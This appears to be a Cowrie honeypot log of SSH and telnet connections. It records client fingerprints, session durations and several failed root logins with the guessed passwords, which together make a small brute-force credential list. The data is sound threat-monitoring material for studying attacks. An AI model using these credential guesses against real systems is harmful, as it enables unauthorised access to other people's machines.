{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:47.837288Z","src_ip":"45.78.230.231","session":"ea99af435857","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:47.847519Z","src_ip":"45.78.230.231","session":"ea99af435857","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50328,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0f1febb1aaf","protocol":"telnet","message":"New connection: 152.42.224.71:50328 (10.17.0.5:23) [session: f0f1febb1aaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:48.519630Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.8.74","src_port":54604,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a739836d0d4","protocol":"ssh","message":"New connection: 159.65.8.74:54604 (10.17.0.5:22) [session: 4a739836d0d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:51.697691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:51.702246Z","src_ip":"159.65.8.74","session":"4a739836d0d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:51.948080Z","src_ip":"159.65.8.74","session":"4a739836d0d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1s2d3f4g5","message":"login attempt [root/a1s2d3f4g5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:52.974156Z","src_ip":"159.65.8.74","session":"4a739836d0d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:54.222943Z","src_ip":"159.65.8.74","session":"4a739836d0d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":19.73755431175232,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:54.566005Z","src_ip":"152.42.224.71","session":"9a4586048821","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":105.48202848434448,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:55.843920Z","src_ip":"152.42.224.71","session":"3c518bf262ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.38.88","src_port":57554,"dst_ip":"159.203.135.109","dst_port":22,"session":"567e0a136598","protocol":"ssh","message":"New connection: 43.130.38.88:57554 (159.203.135.109:22) [session: 567e0a136598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:01.832771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:01.837799Z","src_ip":"43.130.38.88","session":"567e0a136598","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:01.914009Z","src_ip":"43.130.38.88","session":"567e0a136598","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftp_user","password":"123","message":"login attempt [sftp_user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:02.223272Z","src_ip":"43.130.38.88","session":"567e0a136598","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:03.311860Z","src_ip":"43.130.38.88","session":"567e0a136598","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":54840,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a7a26e3d524","protocol":"ssh","message":"New connection: 181.47.9.103:54840 (10.17.0.5:22) [session: 9a7a26e3d524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:04.587710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:04.592799Z","src_ip":"181.47.9.103","session":"9a7a26e3d524","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:04.736382Z","src_ip":"181.47.9.103","session":"9a7a26e3d524","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aq1sw2de3","message":"login attempt [root/aq1sw2de3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:05.339911Z","src_ip":"181.47.9.103","session":"9a7a26e3d524","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.241","src_port":47308,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d7812e997e4","protocol":"ssh","message":"New connection: 37.143.61.241:47308 (159.203.135.109:22) [session: 8d7812e997e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:06.257139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:06.262202Z","src_ip":"37.143.61.241","session":"8d7812e997e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:06.349183Z","src_ip":"37.143.61.241","session":"8d7812e997e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:06.487024Z","src_ip":"181.47.9.103","session":"9a7a26e3d524","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"simplepass","message":"login attempt [root/simplepass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:06.713502Z","src_ip":"37.143.61.241","session":"8d7812e997e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:07.801222Z","src_ip":"37.143.61.241","session":"8d7812e997e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00135016441345,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:08.199350Z","src_ip":"152.42.224.71","session":"58a8ff2263de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.250.238","src_port":51620,"dst_ip":"10.17.0.5","dst_port":22,"session":"d12cfcded837","protocol":"ssh","message":"New connection: 192.169.250.238:51620 (10.17.0.5:22) [session: d12cfcded837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:11.285121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:11.289216Z","src_ip":"192.169.250.238","session":"d12cfcded837","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:11.360841Z","src_ip":"192.169.250.238","session":"d12cfcded837","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"webmaster123","message":"login attempt [root/webmaster123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:11.683560Z","src_ip":"192.169.250.238","session":"d12cfcded837","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56582,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bf32ade2049","protocol":"telnet","message":"New connection: 152.42.224.71:56582 (10.17.0.5:23) [session: 4bf32ade2049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:12.276271Z"}
{"eventid":"cowrie.session.closed","duration":47.79287624359131,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:12.520727Z","src_ip":"152.42.224.71","session":"7921f20586be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:12.758706Z","src_ip":"192.169.250.238","session":"d12cfcded837","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56594,"dst_ip":"10.17.0.5","dst_port":23,"session":"cebe6bd39044","protocol":"telnet","message":"New connection: 152.42.224.71:56594 (10.17.0.5:23) [session: cebe6bd39044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:13.635337Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56600,"dst_ip":"10.17.0.5","dst_port":23,"session":"c83f2b0f1486","protocol":"telnet","message":"New connection: 152.42.224.71:56600 (10.17.0.5:23) [session: c83f2b0f1486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:14.913040Z"}
{"eventid":"cowrie.session.connect","src_ip":"120.27.154.152","src_port":39798,"dst_ip":"159.203.135.109","dst_port":22,"session":"7cdd62c33bc4","protocol":"ssh","message":"New connection: 120.27.154.152:39798 (159.203.135.109:22) [session: 7cdd62c33bc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:17.448082Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":50168,"dst_ip":"10.17.0.5","dst_port":22,"session":"319d8afdeb03","protocol":"ssh","message":"New connection: 43.135.177.217:50168 (10.17.0.5:22) [session: 319d8afdeb03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:18.466749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:18.471477Z","src_ip":"43.135.177.217","session":"319d8afdeb03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:18.539701Z","src_ip":"43.135.177.217","session":"319d8afdeb03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#$1234QWER","message":"login attempt [root/!@#$1234QWER] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:18.844108Z","src_ip":"43.135.177.217","session":"319d8afdeb03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:19.916291Z","src_ip":"43.135.177.217","session":"319d8afdeb03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.31.20","src_port":39286,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd4a1fb368fc","protocol":"ssh","message":"New connection: 43.153.31.20:39286 (159.203.135.109:22) [session: bd4a1fb368fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:21.238247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:21.243201Z","src_ip":"43.153.31.20","session":"bd4a1fb368fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:21.316140Z","src_ip":"43.153.31.20","session":"bd4a1fb368fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345678@","message":"login attempt [root/Abc12345678@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:21.622532Z","src_ip":"43.153.31.20","session":"bd4a1fb368fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:22.694415Z","src_ip":"43.153.31.20","session":"bd4a1fb368fc","protocol":"ssh"}
